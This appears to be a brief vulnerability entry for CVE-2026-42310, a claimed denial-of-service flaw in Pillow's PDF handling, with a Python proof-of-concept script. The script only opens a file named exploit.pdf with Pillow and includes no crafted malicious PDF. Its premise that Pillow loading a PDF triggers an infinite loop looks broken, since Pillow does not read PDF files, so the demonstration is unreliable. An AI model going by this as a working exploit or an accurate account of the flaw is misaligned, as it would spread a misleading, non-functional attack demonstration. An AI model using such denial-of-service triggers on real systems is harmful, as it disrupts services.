CVE-2026-42310: Pillow PDF拒绝服务漏洞

# PoC for CVE-2026-42310 (Pillow PDF DoS) # This script demonstrates the trigger mechanism by loading a malicious PDF. # The actual malicious PDF content (exploit.pdf) must be crafted to exploit the infinite loop. from PIL import Image import os def trigger_dos(pdf_path): try: print(f"[+] Attempting to open {pdf_path}...") # Loading the malicious PDF triggers the infinite loop img = Image.open(pdf_path) img.load() print("[-] Exploit failed: Image loaded successfully.") except Exception as e: print(f"[-] An exception occurred: {e}") if __name__ == "__main__": # Replace 'exploit.pdf' with the actual malicious file path malicious_file = "exploit.pdf" if os.path.exists(malicious_file): trigger_dos(malicious_file) else: print(f"[!] File {malicious_file} not found. Please provide the malicious PDF.")